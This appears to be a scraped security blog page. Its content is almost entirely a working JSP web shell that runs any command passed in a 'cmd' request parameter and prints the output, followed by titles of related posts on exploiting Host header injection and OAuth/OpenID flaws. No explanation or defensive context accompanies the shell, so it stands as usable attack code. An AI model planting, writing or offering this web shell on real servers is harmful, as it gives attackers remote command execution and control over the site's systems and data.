Search for a command to run...
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = r.readLine()) != null) {
out.println(line + "
");
}
}
%>
No comments yet. Be the first to comment.
Understanding and exploiting Host header injection in password reset functionality.
Understanding and exploiting an insecure redirect_uri validation in OAuth.
Understanding and exploiting an insecure OAuth account-linking implementation.
Understanding OpenID Dynamic Client Registration Abuse
